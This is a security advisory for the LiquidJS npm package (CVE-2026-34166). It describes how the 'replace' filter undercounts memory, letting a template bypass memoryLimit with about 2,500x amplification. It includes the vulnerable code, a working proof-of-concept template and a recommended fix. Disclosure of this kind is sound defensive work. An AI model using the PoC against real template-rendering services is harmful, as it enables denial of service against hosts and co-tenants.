Memory Limit Bypass via Quadratic Amplification in `replace` Filter

Low **harttle** published **GHSA-mmg9-6m6j-jqqx** 2 days ago

Package

liquidjs (npm)

Affected versions

<= 10.25.2

Patched versions

None

Description

Summary

The `replace` filter in LiquidJS incorrectly accounts for memory usage when the `memoryLimit` option is enabled. It charges `str.length + pattern.length + replacement.length` bytes to the memory limiter, but the actual output from `str.split(pattern).join(replacement)` can be quadratically larger when the pattern occurs many times in the input string. This allows an attacker who controls template content to bypass the `memoryLimit` DoS protection with approximately 2,500x amplification, potentially causing out-of-memory conditions.

Details

The vulnerable code is in `src/filters/string.ts:137-142`:

```
export function replace (this: FilterImpl, v: string, pattern: string, replacement i
  const str = stringify(v)
  pattern = stringify(pattern)
  replacement = stringify(replacement)
  this.context.memoryLimit.use(str.length + pattern.length + replacement.length)  // BUG
  return str.split(pattern).join(replacement)  // actual output can be quadratically lar
}
```

The `memoryLimit.use()` call charges only the sum of the three input lengths. However, the `str.split(pattern).join(replacement)` operation produces output of size:

```
(number_of_occurrences * replacement.length) + non_matching_characters
```

When every character in `str` matches `pattern` (e.g., `str` = 5,000 `a`s, `pattern` = `a`), there are 5,000 occurrences. With a 5,000-character replacement string, the output is `5000 * 5000 = 25,000,000` characters, while only `5000 + 1 + 5000 = 10,001` bytes are charged to the limiter.

The `Limiter` class at `src/util/limiter.ts:3-22` is a simple accumulator — it only checks at the time `use()` is called and has no post-hoc validation of actual memory allocated.

The `memoryLimit` option defaults to `Infinity` (`src/liquid-options.ts:198`), so this only affects deployments that explicitly enable memory limiting to protect against untrusted template input.

PoC

```
const { Liquid } = require('liquidjs');

// User explicitly enables memoryLimit for DoS protection (10MB)
const engine = new Liquid({ memoryLimit: 1e7 });

const inputLen = 5000;
const aStr = 'a'.repeat(inputLen);
const bStr = 'b'.repeat(inputLen);

// Template that should be blocked by 10MB memory limit
const tpl = engine.parse(
  `{%- assign s = "${aStr}" -%}` +
  `{%- assign r = "${bStr}" -%}` +
  `{{ s | replace: "a", r }}`
);

// This should throw "memory alloc limit exceeded" but succeeds
const result = engine.renderSync(tpl);

console.log('Memory limit: 10,000,000 bytes');
console.log('Memory charged:', 10001, 'bytes');
console.log('Actual output:', result.length, 'bytes');  // 25,000,000 bytes
console.log('Amplification:', Math.round(result.length / 10001) + 'x');
// Output: Amplification: 2500x — completely bypasses the 10MB limit
```

Impact

Users who deploy LiquidJS with `memoryLimit` enabled to process untrusted templates (e.g., multi-tenant SaaS platforms allowing custom templates) are not protected against memory exhaustion via the `replace` filter. An attacker who can author templates can allocate ~2,500x more memory than the configured limit allows, potentially causing:

- Node.js process out-of-memory crashes

- Denial of service for co-tenant users on the same process
- Resource exhaustion on the hosting infrastructure

The impact is limited to availability (no confidentiality or integrity impact), and requires both non-default configuration (`memoryLimit` enabled) and template authoring access.

Recommended Fix

Account for the actual output size in the memory limiter by calculating the number of occurrences:

```
export function replace (this: FilterImpl, v: string, pattern: string, replacement i
  const str = stringify(v)
  pattern = stringify(pattern)
  replacement = stringify(replacement)
  const parts = str.split(pattern)
  const outputSize = str.length + (parts.length - 1) * (replacement.length - pattern.len
  this.context.memoryLimit.use(outputSize)
  return parts.join(replacement)
}
```

This computes the exact output size: the original string length plus, for each occurrence, the difference between the replacement and pattern lengths. The `split()` result is reused to avoid computing it twice.

Severity

Low 3.7 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	High
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	Low

Learn more about base metrics

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

CVE ID

CVE-2026-34166

Weaknesses

▶ CWE-400

Credits

 **offset** Reporter